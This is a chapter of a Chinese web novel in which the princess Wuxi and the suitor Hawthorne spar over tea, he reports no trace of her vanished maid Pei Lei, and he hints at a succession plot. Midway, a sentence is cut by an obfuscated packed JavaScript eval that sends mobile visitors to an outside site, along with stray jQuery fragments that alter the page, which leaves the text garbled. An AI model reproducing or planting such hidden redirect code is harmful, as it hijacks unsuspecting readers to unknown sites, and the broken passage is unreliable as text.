“……”
两个人，隔着圆石桌，阳光自凉亭斜上面打下来，霍索恩漂亮的水绿色瞳仁晕着金色的光，微妙的显出几分危险，那笑盈盈的目光试探性的在小殿下高高束起衣领的脖颈处滑动，最后不动声色的问：“今天很冷吗？”
“……”
雾溪本能的摸了摸自己的衣领。
然后面不改色的笑了一下：“那天宴会后可能受到了点惊吓，这两天身体不太舒服，就稍微穿严实了点。”
“倒是霍索恩先生，”她转客为主，莞尔一笑：“我还以为您很忙，没空来见我呢。”
这其中的揶揄两人都听得懂，分明是在说他前段时间拒绝她邀请信的事，不过要霍索恩来说，她更像是在转移话题。
霍索恩目光意味不明的在雾溪脖颈处又瞥了眼，也轻轻一笑。
“殿下在信里谈起绿宝石，我想着你惦念，就赶着上来把宝石送过来了。”
“是吗？”
雾溪骤然起身，椅腿与大理石地面摩擦出刺耳的锐响。随后俯身撑住桌沿倾身向前，霍索恩本能的向后靠去，脊背撞上椅背的瞬间，看见小殿下轻轻笑了一下。
他呼吸一滞。
太近了。
近得他能数清她睫毛投在眼下的阴翳，看清晶莹皮肤上细小透明的汗毛，甚至嗅到缠绕在鬓发间的清淡柑橘调香里混着一丝说不清的诱惑。这个发现让他喉结不受控地滚动——就像他每次看见那双蓝色的瞳仁时，他想起光，想起一些明亮的，所有影子都讨厌的，却又被深深吸引的东西。
“殿下这是要做什么？”他心脏开始不受控制的撞着胸膛，面上却浮起贵族应有的得体微笑，声音含笑：“这样做，倒让我有些——”
尾音猝然断裂。
本该放置在碟子旁的银匙此刻正抵着他的喉结，冰凉的触感卡住了霍索恩的呼吸，连带着心脏都停了一瞬间，但不是因为恐惧，而是因为刺激和愉悦。
银匙抵着喉结，不缓不慢，不轻不重的，在他最脆弱的致命处点了两下，小殿下的声音轻飘飘的，像是有些戏谑，又像是含着说不清的喜欢。
“……我来看看，我最喜欢的绿宝石是不是还和记忆里的一样漂亮。”
他水绿色的瞳仁微微睁大了一瞬间。
随后克制不住的漫上笑意。
“那结论呢？”
“结论？”
就如同那银匙突如其来的抵碰一样，她蓦地收了回去，冰凉的触感消失时，霍索恩居然还有些怅然若失，他不动声色的用指腹磨蹭了几下小殿下用银匙碰过的地方，那里还是有些冰凉，但很快就染上了温热，所有她曾触碰过的痕迹都消失了。
雾溪坐回去，笑盈盈的说：“结论就是……”
“我好像没那么喜欢绿色了。”
如果猎人手中的枪只不过是装着废弹的假象，如果实际上他连一发子弹都射不出来，如果此刻地位颠倒——
那到底谁是猎物谁是猎人？
霍索恩唇角的笑意微微一滞。
他清楚这话里的戏谑与试探，就像清楚所有的交锋都只是为了达成一个目的，他为了达成一场值得的联姻，而殿下为了得到女仆的消息。
逢场作戏里本就不该有什么真情。
可即便如此，当这些话从她口中轻飘飘地落下时，他的心还是像被无数细针密密麻麻刺下，泛起一阵隐秘的钝痛。
连一向含笑的神色也克制不住的淡了下来。
霍索恩淡着神情，和雾溪对视，看见对方眨了下眼，很快又露出个漂亮笑容。
“不过你的眼睛还是那么好看，要是真能买到一模一样的宝石戴在身边倒也不错。”
“……”
良久，他才淡淡一笑：“小殿下要是不喜欢，好看也没有用。”
“我的喜欢代表什么很重要的东西吗？”她却反问道：“还是说你在乎？”
连“您”也不用了，就像知道有人第一步败了以后，第二步就很难再鼓起勇气往前，他会节节败退，如同弗兰德，如同克尔维斯，他会屈服，甚至跪下，亲自为自己戴上项圈。
可殿下还太年轻。
霍索恩对雾溪的话一笑了之：“我只在乎殿下在乎的，要是殿下不在乎，我又何必多费心思在乎呢？”
“就像殿下在乎的女仆，我也会为殿下殚精竭力搜寻消息。”
“……只不过，未必是您想听的。”
这话就像石子击入水面一样，小殿下扶杯的手指一顿，蓦地抬头，微微眯了眯眼。
“什么意思？”
“目前没有任何关于她的消息。”
雾溪脱口而出：“这又是什么意思？”
“意思就是，在我所能调查到范围内，没有任何一个符合条件的年轻女性，光是曾经在德瑟里庄园工作过的女性有一千二百一十二位，其中年龄在28岁上下浮动的有三百七十二位，而这里面褐色卷发的女性有一百一十二位。”
“但没一位叫做珮蕾，也没有一位曾经服侍过兰德里柯的小殿下，我考虑过隐名埋姓的情况，只可惜这些女子都早早结了婚，连孩子都好几岁了……小殿下，想来那位珮蕾小姐也做不到在这么短的时间内怀孕生子吧？”
“……”
雾溪的面色逐渐沉了下来。
她没说话，指甲往里掐着掌心，极力让自己不要失态，霍索恩眉心逐渐蹙起，掰开她用力掐着自己的手。
他的掌心虎口处覆着薄茧，甚至还有极细微的疤痕，用力接触时能感受到疤痕的不平整，这似乎不该出现在一个贵族身上，但他面色平稳，就像这不是什么稀奇的事情一样，雾溪没挣脱开，被他稳稳地掰开了手指——掌心赫然印着四道月牙形的血痕。
“我不知道殿下喜欢用这样的方式解压，”霍索恩淡淡的说：“克尔维斯阁下也知道这样的事吗？”
“你更应该放开我的手，”殿下却同样冷淡的说：“我是没有这种习惯，但霍索恩先生掌心上的疤痕又是怎么回事？难不成你有？”
他顿了一顿，松开手，轻轻一笑：“霍索恩家族比不上兰德里柯，要想继承这个姓氏，就要付出更多的努力，有疤不是奇怪的事。”
欺凌，刺杀，甚至于毒药，他身上的伤远不止掌心的这些，不过基本上已经愈合消失了，只是掌心的伤疤时间太早，那时候他还不够强大。
雾溪没搭腔。
她心思已经乱的不成样子了。
没有叫做珮蕾的年轻女人……
这是什么意思？
她不死心的说：“范围呢？她有没有可能离开了兰德里柯的领地？”
"领地间的文书往来比您想象的要森严，每个入境者都需要通关文牒，"他顿了顿，观察了一下雾小殿下的神情，才委婉道："我毕竟是外客，不好私下查这些。"
这话的另一层意思是说，通关文牒没那么好拿，珮蕾出去的可能性不大。
“……”
雾溪的指尖无意识地摩挲着茶杯边缘，茶杯上的缠枝纹路硌得指腹发疼。她望向凉亭外，不远处的红玫瑰在风中轻轻摇晃，就像珮蕾最后一次为她梳头时，发簪上的鲜艳流苏。
她表现的比霍索恩想象的还要镇定自若。
小殿下只是望了望她卧室阳台下的那园玫瑰然后重新转过头来，声音平和：“你已经有结论了，对吗？”
“不，”霍索恩却说：“我不能给结论。”
“她曾和你亲口说是有了心上人要去结婚的，恐怕珮蕾小姐对自己要做
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017340|161119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的事情心里有数。”
“何况我身在兰德里柯，受克尔维斯阁下的限制，能力有限，做不到调查的更仔细，有遗漏之处也未尝不可能，”霍索恩顿了顿：“珮蕾小姐对殿下很重要？”
雾溪不知道。
她们一直在一起，几乎没有分离过。
珮蕾刚来的时候雾溪也没多喜欢她，她又笨又懦弱，雾溪对当时的管家发火说你怎么敢欺负她的人，管家说小姐你不懂事，女仆犯错了就该受罚，她就提着嗓门大声叫嚷说那是她的女仆谁敢说她犯错了，管家就闭了嘴。
回去后珮蕾抱着她哭，说小姐从来没有人保护过我，她哭得很大声好像很伤心，雾溪看着她胳膊上被父母打出来的深褐色疤痕，头一次意识到了原来自己可以保护一个人。
所以雾溪一直保护她。
直到她说自己要走了。
霍索恩指尖轻轻摩挲着茶杯边缘，目光却透过氤氲的热气，落在雾溪微微低垂不语的侧脸上。
他在兰德里柯至多还能停留半个月。半个月，说长不长，说短不短，却足以让小殿下忘记一个无关紧要的访客。若是就这样离开，恐怕这次出行便真成了白费力气。
白费力气倒也无妨，可要是让殿下就这样忘记他，那可不行。
“也许，”眼看着时机差不多了，霍索恩话音一转：“也许别的小道消息，殿下也感兴趣。”
雾溪心不在焉的放下扶杯的手。
“什么？”
“我听闻兰德里柯向来有这样的惯例，在从众多继承人中选拔出真正的领主后，其余继承人将前去边界处做抵御兽潮的准备，只不过殿下身体弱，所以才免了这一遭。”
但雾溪身体并不弱。
偏偏民间都流传她体弱多端，担不成大事，要是她对此知情，霍索恩还能当是小殿下与兄长商量好以此免去守边界之劳，可殿下分明不知情。
他很难不以上位者的心思去揣摩克尔维斯的做法。
历史上并非没有统治者意外病故，由其次强大的兄弟姊妹继承领主的事迹，倘若雾溪想去争，她未必没有机会。
又或者……
霍索恩目光意味不明的在雾溪竖起的衣领上滑动了一下。
他面上却一笑：“自然，殿下并不体弱，不过是民间谣传，想来是克尔维斯阁下疼惜小殿下，才将您留在了庄园里。”
这是个小心而谨慎的试探，试探她知不知道这个惯例。
那双蓝色的瞳仁明晃晃的升起了疑惑。
她果然不知道。
“……去边界？”
雾溪重复了一遍这句话：“落选的继承人要去边界为抵御兽潮做准备？”
他在珮蕾之后又提起病弱的传言，有意无意的让殿下将两件事联想在一起。
以此埋下一颗怀疑的种子。
“也只是听闻而已，”霍索恩故意不再提这件事，转而道：“听闻的事有几分可信呢？倒不如谈回珮蕾小姐，听殿下的意思，她对您是很重要了。”
他的指节在桌面上叩出最后一声轻响，随即收回手，语气忽然变得郑重："回到我的领地后，就不必再顾忌克尔维斯阁下的耳目。我可以动用更多资源，调查得更深入。只是..."
他坦然一笑：“也不瞒殿下，我来兰德里柯是正是为了求娶殿下以巩固政治，自然，我知殿下意不在此，也不强求。要调查这件事仅我一人还不够，我的领地内情况复杂，各方势力盘根错节。单凭我一人，难免束手束脚。有些事，恐怕需要殿下亲自出面。"
他倾身上前，：“以兰德里柯小殿下的身份，在我的领地内，我会为您大开方便之门。"
霍索恩的笑意加深，带着蛊惑："只要您想查的，我都会为您铺路。"